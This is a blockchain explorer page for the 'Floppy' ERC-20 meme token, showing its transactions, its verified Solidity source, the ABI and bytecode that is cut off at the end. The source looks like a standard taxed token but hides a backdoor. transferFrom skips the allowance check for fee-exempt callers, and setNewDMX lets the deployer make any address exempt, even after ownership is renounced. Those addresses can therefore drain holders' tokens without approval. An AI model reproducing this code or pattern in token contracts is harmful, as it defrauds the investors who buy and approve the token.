More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 31 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21328804 | 3 hrs ago | IN | 0 ETH | 0.00126344 | ||||
Approve | 21198603 | 18 days ago | IN | 0 ETH | 0.00067646 | ||||
Transfer | 21198562 | 18 days ago | IN | 0 ETH | 0.00086096 | ||||
Approve | 21198369 | 18 days ago | IN | 0 ETH | 0.00038928 | ||||
Approve | 21198329 | 18 days ago | IN | 0 ETH | 0.00032065 | ||||
Approve | 21192895 | 19 days ago | IN | 0 ETH | 0.00032945 | ||||
Approve | 21192790 | 19 days ago | IN | 0 ETH | 0.00031037 | ||||
Approve | 21192778 | 19 days ago | IN | 0 ETH | 0.00031312 | ||||
Approve | 21187893 | 19 days ago | IN | 0 ETH | 0.00131998 | ||||
Approve | 21187657 | 19 days ago | IN | 0 ETH | 0.00158317 | ||||
Approve | 21187656 | 19 days ago | IN | 0 ETH | 0.00158317 | ||||
Approve | 21187603 | 19 days ago | IN | 0 ETH | 0.00177261 | ||||
Approve | 21187602 | 19 days ago | IN | 0 ETH | 0.00182659 | ||||
Approve | 21187602 | 19 days ago | IN | 0 ETH | 0.00182659 | ||||
Approve | 21187551 | 19 days ago | IN | 0 ETH | 0.00237337 | ||||
Approve | 21187495 | 19 days ago | IN | 0 ETH | 0.00210577 | ||||
Approve | 21187495 | 19 days ago | IN | 0 ETH | 0.00210577 | ||||
Approve | 21187494 | 19 days ago | IN | 0 ETH | 0.00217223 | ||||
Approve | 21187494 | 19 days ago | IN | 0 ETH | 0.00217223 | ||||
Approve | 21187494 | 19 days ago | IN | 0 ETH | 0.00217223 | ||||
Approve | 21187494 | 19 days ago | IN | 0 ETH | 0.00217223 | ||||
Approve | 21187477 | 19 days ago | IN | 0 ETH | 0.00224743 | ||||
Approve | 21187477 | 19 days ago | IN | 0 ETH | 0.00224743 | ||||
Approve | 21187470 | 19 days ago | IN | 0 ETH | 0.00220899 | ||||
Approve | 21187470 | 19 days ago | IN | 0 ETH | 0.00225899 |
Latest 9 internal transactions
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
21187509 | 19 days ago | 0.75234723 ETH | ||||
21187509 | 19 days ago | 0.75234723 ETH | ||||
21187499 | 19 days ago | 0.12586817 ETH | ||||
21187499 | 19 days ago | 0.12586817 ETH | ||||
21187497 | 19 days ago | 0.98929191 ETH | ||||
21187497 | 19 days ago | 0.98929191 ETH | ||||
21187479 | 19 days ago | 0.73059088 ETH | ||||
21187479 | 19 days ago | 0.73059088 ETH | ||||
21187464 | 19 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
FLOPPY
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-14 */ /** https://boysclub.fandom.com/wiki/Floppy Tg: https://t.me/floppy_Erc20 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract FLOPPY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcemptFee; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Floppy"; string private constant _symbol = unicode"FLOPPY"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold = 1 * _tTotal / 100; uint256 public _maxTaxSwap = 1 * _tTotal / 100; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=12; uint256 private _reduceSellTaxAt=12; uint256 private _preventSwapBefore=15; uint256 private _buyCount=0; IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private uniswapV2Pair; address private _deployer; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(0xD8040F04d066901Ec3F6D3a975a62a8f608f3C84); _balances[address(this)] = _tTotal; _isExcemptFee[address(this)] = true; _isExcemptFee[_msgSender()] = true; _isExcemptFee[_taxWallet] = true; _deployer = _msgSender(); emit Transfer(address(0), address(this), _tTotal); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); if(!_isExcemptFee[msg.sender]) _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcemptFee[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isExcemptFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap))); sendDMXEth(); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendDMXEth() private { _taxWallet.transfer(address(this).balance); } function etherDMX() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function tokenDMX(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function setNewDMX(address payable newAddr) external { require(_msgSender()==_deployer, "!deployer"); _taxWallet = newAddr; _isExcemptFee[newAddr] = true; } receive() external payable {} function renounceOwnership() public override onlyOwner { require(_maxTxAmount == _tTotal); super.renounceOwnership(); } function swapTokensForETH(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"etherDMX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewDMX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"tokenDMX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a610360565b61002090633b9aca00610375565b61002b906002610375565b610035919061038c565b60055560646100466009600a610360565b61005490633b9aca00610375565b61005f906002610375565b610069919061038c565b600655606461007a6009600a610360565b61008890633b9aca00610375565b610093906001610375565b61009d919061038c565b60075560646100ae6009600a610360565b6100bc90633b9aca00610375565b6100c7906001610375565b6100d1919061038c565b600855600f6009819055600a8190555f600b819055600c818155600d819055600e559080556010819055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556101283390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673d8040f04d066901ec3f6d3a975a62a8f608f3c841790556101a36009600a610360565b6101b190633b9aca00610375565b305f8181526001602081815260408084209590955560039052838220805460ff1990811683179091553380845285842080548316841790556004546001600160a01b0316845294832080549091169091179055601380546001600160a01b031916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102466009600a610360565b61025490633b9aca00610375565b60405190815260200160405180910390a36103ab565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102b857815f190482111561029e5761029e61026a565b808516156102ab57918102915b93841c9390800290610283565b509250929050565b5f826102ce5750600161035a565b816102da57505f61035a565b81600181146102f057600281146102fa57610316565b600191505061035a565b60ff84111561030b5761030b61026a565b50506001821b61035a565b5060208310610133831016604e8410600b8410161715610339575081810a61035a565b610343838361027e565b805f19048211156103565761035661026a565b0290505b92915050565b5f61036e60ff8416836102c0565b9392505050565b808202811582820484141761035a5761035a61026a565b5f826103a657634e487b7160e01b5f52601260045260245ffd5b500490565b611a7b806103b85f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610337578063bf474bed14610356578063c9567bf91461036b578063dd62ed3e1461037f575f80fd5b80637d1db4a51461027b57806381ee4933146102905780638538b80a146102af5780638da5cb5b146102ce5780638f9a55c0146102f4575f80fd5b806323b872dd116100e357806323b872dd146101e5578063313ce5671461020457806370a082311461021f578063715018a614610253578063751039fc14610267575f80fd5b806306fdde0314610129578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb5780631d92af57146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526006815265466c6f70707960d01b60208201525b604051610160919061166e565b60405180910390f35b348015610174575f80fd5b506101886101833660046116b7565b6103c3565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60085481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103d9565b3480156101da575f80fd5b506101e36103f9565b005b3480156101f0575f80fd5b506101886101ff3660046116e1565b610462565b34801561020f575f80fd5b5060405160098152602001610160565b34801561022a575f80fd5b506101ad61023936600461171f565b6001600160a01b03165f9081526001602052604090205490565b34801561025e575f80fd5b506101e36104df565b348015610272575f80fd5b506101e3610538565b348015610286575f80fd5b506101ad60055481565b34801561029b575f80fd5b506101e36102aa3660046116b7565b6105e9565b3480156102ba575f80fd5b506101e36102c936600461171f565b610719565b3480156102d9575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102ff575f80fd5b506101ad60065481565b348015610314575f80fd5b50604080518082019091526006815265464c4f50505960d01b6020820152610153565b348015610342575f80fd5b506101886103513660046116b7565b6107a1565b348015610361575f80fd5b506101ad60075481565b348015610376575f80fd5b506101e36107ad565b34801561038a575f80fd5b506101ad61039936600461173a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cf338484610ac0565b5060015b92915050565b5f6103e66009600a611865565b6103f490633b9aca00611873565b905090565b5f546001600160a01b0316331461042b5760405162461bcd60e51b81526004016104229061188a565b60405180910390fd5b5f4711610436575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561045f573d5f803e3d5ffd5b50565b5f61046e848484610be3565b335f9081526003602052604090205460ff166104d5576104d584336104d085604051806060016040528060288152602001611a1e602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061127a565b610ac0565b5060019392505050565b5f546001600160a01b031633146105085760405162461bcd60e51b81526004016104229061188a565b6105146009600a611865565b61052290633b9aca00611873565b6005541461052e575f80fd5b6105366112b2565b565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104229061188a565b61056d6009600a611865565b61057b90633b9aca00611873565b60055561058a6009600a611865565b61059890633b9aca00611873565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c86009600a611865565b6105d690633b9aca00611873565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106125760405162461bcd60e51b81526004016104229061188a565b6040516370a0823160e01b81523060048201525f906106939060649061068d9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610663573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068791906118bf565b90611323565b906113a8565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156106ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071391906118d6565b50505050565b6013546001600160a01b0316336001600160a01b0316146107685760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610422565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103cf338484610be3565b5f546001600160a01b031633146107d65760405162461bcd60e51b81526004016104229061188a565b601354600160a01b900460ff16156108305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610880573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a491906118f5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092791906118f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610971573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099591906118f5565b601280546001600160a01b0319166001600160a01b039283161790556011546109d5913091166109c76009600a611865565b6104d090633b9aca00611873565b6011546001600160a01b031663f305d7194730610a06816001600160a01b03165f9081526001602052604090205490565b5f80610a195f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a7f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aa49190611910565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610b225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610b835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610422565b6001600160a01b038216610ca95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610422565b5f8111610d0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6013545f90600160b01b900460ff161580610d2e5750601354600160a81b900460ff165b15610de6576001600160a01b0384165f90815260016020526040902054610d5690839061193b565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d8590839061194e565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd89086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e1057505f546001600160a01b03848116911614155b15611146576012546001600160a01b038581169116148015610e4057506011546001600160a01b03848116911614155b8015610e6457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc357601354600160a01b900460ff16610eba5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610422565b610ee0606461068d600d5460105411610ed557600954610ed9565b600b545b8590611323565b9050600554821115610f345760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610422565b60065482610f56856001600160a01b03165f9081526001602052604090205490565b610f60919061194e565b1115610fae5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610422565b60108054905f610fbd83611961565b91905055505b6012546001600160a01b03848116911614801590610ff957506001600160a01b0383165f9081526003602052604090205460ff16155b156110785760065482611020856001600160a01b03165f9081526001602052604090205490565b61102a919061194e565b11156110785760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610422565b6012546001600160a01b03908116908416036110b6576110b3606461068d600e54601054116110a957600a54610ed9565b600c548590611323565b90505b601354600160a81b900460ff161580156110dd57506012546001600160a01b038481169116145b80156110f25750601354600160b01b900460ff165b80156111015750600f54601054115b1561114657305f9081526001602052604090205460075481111561113c5761113c61113784611132846008546113e9565b6113e9565b6113fd565b61114461156d565b505b80156111be57305f9081526001602052604090205461116590826115a3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b59085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111e09083611601565b6001600160a01b0385165f908152600160205260409020556112236112058383611601565b6001600160a01b0385165f90815260016020526040902054906115a3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126c8585611601565b604051908152602001610dd8565b5f818484111561129d5760405162461bcd60e51b8152600401610422919061166e565b505f6112a9848661193b565b95945050505050565b5f546001600160a01b031633146112db5760405162461bcd60e51b81526004016104229061188a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f0361133257505f6103d3565b5f61133d8385611873565b90508261134a8583611979565b146113a15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b9392505050565b5f6113a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611642565b5f8183116113f757826113a1565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061144357611443611998565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561149a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114be91906118f5565b816001815181106114d1576114d1611998565b6001600160a01b0392831660209182029290920101526011546114f79130911684610ac0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061152f9085905f908690309042906004016119ac565b5f604051808303815f87803b158015611546575f80fd5b505af1158015611558573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561045f573d5f803e3d5ffd5b5f806115af838561194e565b9050838110156113a15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b5f6113a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127a565b5f81836116625760405162461bcd60e51b8152600401610422919061166e565b505f6112a98486611979565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461045f575f80fd5b5f80604083850312156116c8575f80fd5b82356116d3816116a3565b946020939093013593505050565b5f805f606084860312156116f3575f80fd5b83356116fe816116a3565b9250602084013561170e816116a3565b929592945050506040919091013590565b5f6020828403121561172f575f80fd5b81356113a1816116a3565b5f806040838503121561174b575f80fd5b8235611756816116a3565b91506020830135611766816116a3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117bf57815f19048211156117a5576117a5611771565b808516156117b257918102915b93841c939080029061178a565b509250929050565b5f826117d5575060016103d3565b816117e157505f6103d3565b81600181146117f757600281146118015761181d565b60019150506103d3565b60ff84111561181257611812611771565b50506001821b6103d3565b5060208310610133831016604e8410600b8410161715611840575081810a6103d3565b61184a8383611785565b805f190482111561185d5761185d611771565b029392505050565b5f6113a160ff8416836117c7565b80820281158282048414176103d3576103d3611771565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118cf575f80fd5b5051919050565b5f602082840312156118e6575f80fd5b815180151581146113a1575f80fd5b5f60208284031215611905575f80fd5b81516113a1816116a3565b5f805f60608486031215611922575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103d3576103d3611771565b808201808211156103d3576103d3611771565b5f6001820161197257611972611771565b5060010190565b5f8261199357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119fc5784516001600160a01b0316835293830193918301916001016119d7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ac87d8acf8c7524cdc12c8eed7f2746f6ab9413fc328a3e30ab0554b40ec0f964736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610337578063bf474bed14610356578063c9567bf91461036b578063dd62ed3e1461037f575f80fd5b80637d1db4a51461027b57806381ee4933146102905780638538b80a146102af5780638da5cb5b146102ce5780638f9a55c0146102f4575f80fd5b806323b872dd116100e357806323b872dd146101e5578063313ce5671461020457806370a082311461021f578063715018a614610253578063751039fc14610267575f80fd5b806306fdde0314610129578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb5780631d92af57146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526006815265466c6f70707960d01b60208201525b604051610160919061166e565b60405180910390f35b348015610174575f80fd5b506101886101833660046116b7565b6103c3565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60085481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103d9565b3480156101da575f80fd5b506101e36103f9565b005b3480156101f0575f80fd5b506101886101ff3660046116e1565b610462565b34801561020f575f80fd5b5060405160098152602001610160565b34801561022a575f80fd5b506101ad61023936600461171f565b6001600160a01b03165f9081526001602052604090205490565b34801561025e575f80fd5b506101e36104df565b348015610272575f80fd5b506101e3610538565b348015610286575f80fd5b506101ad60055481565b34801561029b575f80fd5b506101e36102aa3660046116b7565b6105e9565b3480156102ba575f80fd5b506101e36102c936600461171f565b610719565b3480156102d9575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102